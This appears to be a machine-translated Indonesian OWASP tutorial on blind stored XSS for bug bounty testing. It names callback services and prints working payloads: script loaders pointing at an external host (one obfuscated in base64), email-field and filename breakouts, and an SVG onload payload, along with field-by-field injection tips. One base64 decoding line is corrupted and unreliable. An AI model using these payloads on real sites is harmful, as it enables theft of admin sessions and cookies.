
Pada artikel ini saya akan berbicara tentang blind XSS - ini adalah serangan yang cukup sederhana, tetapi seringkali sangat efektif pada aplikasi web. Pengoperasian vektor serangan tersebut mengarah pada penangkapan panel admin dari berbagai layanan, termasuk raksasa perangkat lunak.
UPD: bagian dari muatan dari artikel bekerja pada Habr aggregator / parser, hal-hal seperti itu :)
Bagaimana cara kerjanya?
Pertama-tama, perlu dicatat bahwa XSS bukan kerentanan, tetapi jenis serangan pada sistem web. Ini terdiri dari memperkenalkan kode berbahaya ke halaman yang dikeluarkan oleh sistem web (yang akan dieksekusi di komputer pengguna ketika halaman ini dibuka olehnya) dan interaksinya dengan server web penyerang. Ada beberapa jenis XSS: disimpan, dicerminkan, dan DOM. Dalam artikel ini kami hanya akan mempertimbangkan XSS yang disimpan - mereka cocok untuk tujuan "menerobos".
Skema serangan adalah sebagai berikut: penyerang menempatkan muatan berbahaya pada aplikasi web, kode rentan masuk ke database dan "menembak" di panel admin proyek.

Seringkali, sebelum muatan dipicu, penyerang tidak curiga di mana dan kapan ia akan "menembak". Dari pengalaman saya sendiri, saya dapat mengatakan bahwa operasi payload berlangsung dari beberapa detik hingga beberapa bulan - sangat problematis untuk mempercepat proses ini.

Di mana payload akan bekerja juga merupakan faktor penting. Merasakan titik akhir XSS yang buta sama dengan menembakkan peluru dengan pusat gravitasi yang terlantar. Kadang-kadang panel admin terletak di subdomain yang mudah dilihat dari form manage007.attacked.site atau di luar situs yang diuji, pada alamat IP seperti
XXX.XXX.XXX.XXX/admin_panel/dashboard.php . Atau bisa juga, misalnya, sistem analitik yang umumnya di luar batas perusahaan yang diuji.
Titik akhir
Untuk mendapatkan "berhenti" dari payload kami, kami harus memiliki titik akhir eksternal untuk mencegat. Untuk melakukan ini, Anda dapat meningkatkan layanan dan mencegat semua panggilan ke sana, termasuk header menggunakan bahasa pemrograman yang dapat diterima untuk Anda.

Atau Anda dapat menggunakan opsi berikut (pilihan Anda).
BurpCollaborator adalah layanan eksternal khusus untuk pengguna Burp Suite Pro:
Gunakan layanan,% name% bin, misalnya
requestbin :

Naikkan layanan Anda sendiri, misalnya menggunakan
ezXSS :

Atau gunakan
xsshunter (disarankan untuk pemula) - layanan untuk menghasilkan muatan dan mendapatkan "tendangan" dari muatan yang dipicu (termasuk email):

Muatan
Jadi, kami menemukan formulir input di situs dan kami ingin menguji teori kami bahwa orang buta akan bekerja di dalamnya. Untuk melakukan ini, kita perlu menyiapkan muatan, termasuk untuk memotong peralatan pelindung.
Layanan xsshunter menawarkan beberapa payload siap pakai untuk mengoperasikan blind XSS:
Muatan Uri:
javascript:eval('var a=document.createElement(\'script\');a.src=\'https://yourpage.xss.ht\';document.body.appendChild(a)')
IMG payload:
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veW91cnBhZ2UueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw onerror=eval(atob(this.id))>
Bagian dari payload dikonversi ke base64 (dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veW91cnBhZ2UueHaa5aa5aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
var a=document.createElement("script");a.src="https://yourpage.xss.ht";document.body.appendChild(a);
Muatan dalam bidang email:
"'--></style></title></textarea></script><script src=https://yourpage.xss.ht>"@test.com test@("'--></style></title></textarea></script><script src=https://yourpage.xss.ht>)test.com ("'--></style></title></textarea></script><script src=https://yourpage.xss.ht>)@test.com

Trik yang menarik
Sekarang pertimbangkan form input yang paling menarik untuk mengimplementasikan payload.
E-mail - contoh implementasi yang valid disajikan di atas, apakah berfungsi atau tidak tergantung pada jenis aplikasi web.
Di bidang kata sandi - di sini kita dapat mengetahui apakah aplikasi web menyimpan kata sandi dalam teks biasa dan apakah admin melihatnya.
Pembantu daring - terkadang menembak di sini juga.
Di tajuk - kami mengganti muatan di semua tajuk yang dapat kami kontrol: rujukan, agen pengguna, dll.
Svg vektor - memuat gambar / avatar dalam bentuk * .svg dapat memberi kita kesempatan untuk mengimplementasikan payload kami
(contoh) . SVG berisi muatan:
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)"
Bidang unggah file / nama file - kita dapat mencoba mengunduh dengan nama:
"><img src=x id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8veW91cnBhZ2UueHNzLmh0Ijtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw onerror=eval(atob(this.id))>.jpg
Berhenti berlangganan -
Berhenti berlangganan bidang, "Pendapat Anda penting bagi kami", dan banyak lagi. Juga bentuk yang sangat menjanjikan untuk memperkenalkan muatan.
Survei - bidang "pilihan jawaban lain / Anda".
Tangkap
Dengan mengeksploitasi serangan ini, Anda dapat mengakses panel kontrol (dengan pengaturan keamanan yang tidak sesuai), tangkapan layar, struktur DOM, alamat IP admin, cookie, dll.

Serangan ini memungkinkan Anda untuk mengakses sistem
pendukung , panel admin dan banyak lagi. Selama berpartisipasi dalam program Bug Bounty, beberapa tangkapan layar yang menarik telah dikumpulkan yang diperoleh selama serangan tersebut:
Kasino online :
Auto.ru (
johndoe1492 ):
Microsoft (
johndoe1492 ):
Sistem yang digunakan oleh 150.000 perusahaan di seluruh dunia:

Ada banyak tangkapan layar semacam itu - ini menunjukkan bahwa pengembang harus memberikan perhatian khusus tidak hanya pada jendela aplikasi web, tetapi juga pada bagian administratifnya.
UPD: bagian dari muatan dari artikel bekerja pada Habr aggregator / parser, hal-hal seperti itu :)
Artikel ini disiapkan sebagai bagian dari proyek OWASP.
OWASP Russia chapter: OWASP RussiaOWASP Russia chat: https://t.me/OWASP_RussiaOWASP Russia channel: https://t.me/OWASP_RU